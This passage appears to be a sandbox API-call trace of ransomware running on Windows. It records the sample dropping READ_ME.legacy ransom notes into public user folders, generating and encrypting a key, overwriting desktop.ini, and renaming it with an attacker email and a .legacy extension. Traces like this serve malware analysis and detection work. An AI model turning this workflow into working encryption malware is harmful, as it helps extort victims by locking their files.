[0110.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0110.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0110.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0110.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0110.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0110.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0110.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0110.427] GetLastError () returned 0xb7 [0110.427] SetLastError (dwErrCode=0xb7) [0110.427] GetLastError () returned 0xb7 [0110.427] SetLastError (dwErrCode=0xb7) [0110.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0110.427] GetLastError () returned 0xb7 [0110.427] SetLastError (dwErrCode=0xb7) [0110.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0110.427] CreateFileW (lpFileName="\\Users\\Public\\Downloads\\READ_ME.legacy" (normalized: "c:\\users\\public\\downloads\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0110.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0110.428] WriteFile (in: hFile=0x594, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.429] CloseHandle (hObject=0x594) returned 1 [0110.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0110.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0110.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0110.429] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0110.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0110.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0110.429] GetLastError () returned 0x0 [0110.429] SetLastError (dwErrCode=0x0) [0110.429] GetLastError () returned 0x0 [0110.429] SetLastError (dwErrCode=0x0) [0110.429] GetLastError () returned 0x0 [0110.429] SetLastError (dwErrCode=0x0) [0110.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0110.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0110.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0110.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0110.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0110.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0110.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0110.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0110.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0110.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0110.430] GetLastError () returned 0x0 [0110.430] SetLastError (dwErrCode=0x0) [0110.430] GetLastError () returned 0x0 [0110.430] SetLastError (dwErrCode=0x0) [0110.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0110.430] GetLastError () returned 0x0 [0110.430] SetLastError (dwErrCode=0x0) [0110.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0110.430] CreateFileW (lpFileName="\\Users\\Public\\Libraries\\READ_ME.legacy" (normalized: "c:\\users\\public\\libraries\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0110.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0110.432] WriteFile (in: hFile=0x594, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.433] CloseHandle (hObject=0x594) returned 1 [0110.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0110.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0110.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0110.434] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Music", cAlternateFileName="")) returned 1 [0110.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0110.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0110.434] GetLastError () returned 0x0 [0110.434] SetLastError (dwErrCode=0x0) [0110.434] GetLastError () returned 0x0 [0110.434] SetLastError (dwErrCode=0x0) [0110.434] GetLastError () returned 0x0 [0110.434] SetLastError (dwErrCode=0x0) [0110.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0110.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0110.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670e0 [0110.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0110.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0110.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0110.435] GetLastError () returned 0x0 [0110.435] SetLastError (dwErrCode=0x0) [0110.435] GetLastError () returned 0x0 [0110.435] SetLastError (dwErrCode=0x0) [0110.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0110.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0110.435] GetLastError () returned 0x0 [0110.435] SetLastError (dwErrCode=0x0) [0110.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0110.435] CreateFileW (lpFileName="\\Users\\Public\\Music\\READ_ME.legacy" (normalized: "c:\\users\\public\\music\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0110.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0110.436] WriteFile (in: hFile=0x594, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.437] CloseHandle (hObject=0x594) returned 1 [0110.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0110.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0110.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0110.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670e0 | out: hHeap=0x520000) returned 1 [0110.437] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Pictures", cAlternateFileName="")) returned 1 [0110.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0110.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0110.437] GetLastError () returned 0x0 [0110.437] SetLastError (dwErrCode=0x0) [0110.438] GetLastError () returned 0x0 [0110.438] SetLastError (dwErrCode=0x0) [0110.438] GetLastError () returned 0x0 [0110.438] SetLastError (dwErrCode=0x0) [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0110.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0110.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670e0 [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0110.438] GetLastError () returned 0x0 [0110.438] SetLastError (dwErrCode=0x0) [0110.438] GetLastError () returned 0x0 [0110.438] SetLastError (dwErrCode=0x0) [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0110.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0110.438] GetLastError () returned 0x0 [0110.438] SetLastError (dwErrCode=0x0) [0110.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0110.438] CreateFileW (lpFileName="\\Users\\Public\\Pictures\\READ_ME.legacy" (normalized: "c:\\users\\public\\pictures\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0110.439] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0110.439] WriteFile (in: hFile=0x594, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.440] CloseHandle (hObject=0x594) returned 1 [0110.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0110.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0110.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0110.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0110.441] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6837cc7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc6837cc7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc6837cc7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0110.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0110.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0110.441] GetLastError () returned 0x0 [0110.441] SetLastError (dwErrCode=0x0) [0110.441] GetLastError () returned 0x0 [0110.441] SetLastError (dwErrCode=0x0) [0110.441] GetLastError () returned 0x0 [0110.441] SetLastError (dwErrCode=0x0) [0110.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0110.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0110.441] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Videos", cAlternateFileName="")) returned 1 [0110.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0110.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0110.441] GetLastError () returned 0x0 [0110.441] SetLastError (dwErrCode=0x0) [0110.441] GetLastError () returned 0x0 [0110.442] SetLastError (dwErrCode=0x0) [0110.442] GetLastError () returned 0x0 [0110.442] SetLastError (dwErrCode=0x0) [0110.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0110.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0110.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0110.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0110.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0110.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0110.442] GetLastError () returned 0x0 [0110.442] SetLastError (dwErrCode=0x0) [0110.442] GetLastError () returned 0x0 [0110.442] SetLastError (dwErrCode=0x0) [0110.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0110.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0110.442] GetLastError () returned 0x0 [0110.443] SetLastError (dwErrCode=0x0) [0110.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0110.443] CreateFileW (lpFileName="\\Users\\Public\\Videos\\READ_ME.legacy" (normalized: "c:\\users\\public\\videos\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0110.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0110.443] WriteFile (in: hFile=0x594, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.444] CloseHandle (hObject=0x594) returned 1 [0110.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0110.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0110.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0110.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0110.445] FindNextFileW (in: hFindFile=0x5c5bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Videos", cAlternateFileName="")) returned 0 [0110.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0110.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0110.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0110.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0110.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0110.445] SetFileAttributesW (lpFileName="\\Users\\Public\\desktop.ini", dwFileAttributes=0x80) returned 1 [0110.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0110.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0110.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0110.446] CreateFileW (lpFileName="\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0110.446] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=174) returned 1 [0110.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xae) returned 0x2e20f20 [0110.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xae) returned 0x52e1d8 [0110.446] ReadFile (in: hFile=0x594, lpBuffer=0x2e20f20, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20f20*, lpNumberOfBytesRead=0x2e1f9bc*=0xae, lpOverlapped=0x0) returned 1 [0110.447] SetFilePointer (in: hFile=0x594, lDistanceToMove=-174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.447] WriteFile (in: hFile=0x594, lpBuffer=0x52e1d8*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52e1d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xae, lpOverlapped=0x0) returned 1 [0110.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0110.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52e1d8 | out: hHeap=0x520000) returned 1 [0110.447] SetFilePointer (in: hFile=0x594, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xae [0110.447] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0110.447] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0110.448] WriteFile (in: hFile=0x594, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0110.448] WriteFile (in: hFile=0x594, lpBuffer=0x5c3418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0110.448] CloseHandle (hObject=0x594) returned 1 [0110.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0110.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0110.448] MoveFileExW (lpExistingFileName="\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), lpNewFileName="\\Users\\Public\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0110.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0110.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0110.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0110.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0110.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0110.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539700 | out: hHeap=0x520000) returned 1 [0110.450] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\2052\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc685df5c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5c18 [0110.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0110.451] GetLastError () returned 0x0 [0110.451] SetLastError (dwErrCode=0x0) [0110.451] GetLastError () returned 0x0 [0110.451] SetLastError (dwErrCode=0x0) [0110.451] GetLastError () returned 0x0 [0110.451] SetLastError (dwErrCode=0x0) [0110.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0110.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0110.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0110.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5d58 [0110.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5d58 | out: hHeap=0x520000) returned 1 [0110.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0110.452] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0110.452] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.452] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0110.452] FindNextFileW (in: hFindFile=0x5c5c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc685df5c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0110.452] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0110.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0110.452] GetLastError () returned 0x0 [0110.452] SetLastError (dwErrCode=0x0) [0110.452] GetLastError () returned 0x0 [0110.452] SetLastError (dwErrCode=0x0) [0110.452] GetLastError () returned 0x0 [0110.452] SetLastError (dwErrCode=0x0) [0110.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0110.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0110.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0110.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 